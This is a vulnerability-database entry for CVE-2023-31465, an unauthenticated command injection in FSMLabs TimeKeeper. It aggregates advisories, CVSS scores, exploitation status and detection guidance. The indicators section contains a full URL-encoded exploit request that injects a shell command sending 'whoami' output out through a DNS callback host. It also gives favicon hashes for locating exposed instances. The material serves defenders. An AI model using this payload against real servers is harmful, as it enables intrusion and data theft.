CVE-2023-31465
published 2023-07-26CVE-2023-31465: An issue was discovered in FSMLabs TimeKeeper 8.0.17 through 8.0.28. By intercepting requests from various timekeeper streams, it is possible to find the…
PriorityP186critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
44.45%
98.6th percentile
An issue was discovered in FSMLabs TimeKeeper 8.0.17 through 8.0.28. By intercepting requests from various timekeeper streams, it is possible to find the getsamplebacklog call. Some query parameters are passed directly in the URL and named arg[x], with x an integer starting from 1; it is possible to modify arg[2] to insert Bash code that will be executed directly by the server.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| fsmlabs | timekeeper | 8.0.17 – 8.0.28 | — |
Detection & IOCsextracted from sources · hover to see the quote
url/getsamplebacklog?arg1=2d0ows2x9anpzaorxi9h4csmai08jjor&arg2=%7b%22type%22%3a%22client%22%2c%22earliest%22%3a%221676976316.328%7c%7cnslookup%20%24(xxd%20-pu%20%3c%3c%3c%20%24(whoami)).{{interactsh-url}}%7c%7cx%22%2c%22latest%22%3a1676976916.328%2c%22origins%22%3a%5b%7b%22ip%22%3a%22{{Hostname}}%22%2c%22source%22%3a0%7d%5d%2c%22seriesID%22%3a3%7d&arg3=undefined&arg4=undefined&arg5=undefined&arg6=undefined&arg7=undefined↗
- →Detect exploitation attempts by monitoring HTTP GET requests to the /getsamplebacklog endpoint with shell metacharacters (e.g., ||, $(), <<< ) in the arg[2] query parameter. ↗
- →Confirm successful RCE response by checking for the JSON key '{"seriesID":' in the HTTP response body alongside an out-of-band DNS interaction. ↗
- →Use the Shodan favicon hash 2134367771 or FOFA icon_hash=2134367771 to identify exposed FSMLabs TimeKeeper instances for proactive scanning. ↗
- →Monitor for out-of-band DNS callbacks (OAST/interactsh) triggered by the injected nslookup payload, which encodes whoami output via xxd in the subdomain. ↗
- ·The vulnerability affects only FSMLabs TimeKeeper versions 8.0.17 through 8.0.28; detections should be scoped to this version range to reduce false positives. ↗
- ·The exploit is unauthenticated (PR:N) and network-reachable (AV:N), meaning any internet-exposed TimeKeeper instance is at risk without any prior authentication requirement. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vulncheck9.8CRITICAL
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GHSA
GHSA-7xq6-44ph-rwqf: An issue was discovered in FSMLabs TimeKeeper 8
ghsa_unreviewed·2023-07-26
CVE-2023-31465 [CRITICAL] GHSA-7xq6-44ph-rwqf: An issue was discovered in FSMLabs TimeKeeper 8
An issue was discovered in FSMLabs TimeKeeper 8.0.17 through 8.0.28. By intercepting requests from various timekeeper streams, it is possible to find the getsamplebacklog call. Some query parameters are passed directly in the URL and named arg[x], with x an integer starting from 1; it is possible to modify arg[2] to insert Bash code that will be executed directly by the server.
VulnCheck
FSMLabs TimeKeeper Code Execution
vulncheck·2023·CVSS 9.8
CVE-2023-31465 [CRITICAL] FSMLabs TimeKeeper Code Execution
FSMLabs TimeKeeper Code Execution
An issue was discovered in FSMLabs TimeKeeper 8.0.17 through 8.0.28. By intercepting requests from various timekeeper streams, it is possible to find the getsamplebacklog call. Some query parameters are passed directly in the URL and named arg[x], with x an integer starting from 1; it is possible to modify arg[2] to insert Bash code that will be executed directly by the server.
Affected: fsmlabs timekeeper
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2023-12-04&host_type=src&vulnerability=cve-2023-31465; https://dashboard.shadowserver.org/sta
No detection rules found.
Nuclei
TimeKeeper by FSMLabs - Remote Code Execution
nuclei·CVSS 9.8
CVE-2023-31465 [CRITICAL] TimeKeeper by FSMLabs - Remote Code Execution
TimeKeeper by FSMLabs - Remote Code Execution
An issue was discovered in FSMLabs TimeKeeper 8.0.17 through 8.0.28. By intercepting requests from various timekeeper streams, it is possible to find the getsamplebacklog call. Some query parameters are passed directly in the URL and named arg[x], with x an integer starting from 1; it is possible to modify arg[2] to insert Bash code that will be executed directly by the server.
Template:
id: CVE-2023-31465
info:
name: TimeKeeper by FSMLabs - Remote Code Execution
author: ritikchaddha
severity: critical
description: |
An issue was discovered in FSMLabs TimeKeeper 8.0.17 through 8.0.28. By intercepting requests from various timekeeper streams, it is possible to find the getsamplebacklog call. Some query parameters are passed directly in the U
No writeups or analysis indexed.
2023-07-26
Published
Exploited in the wild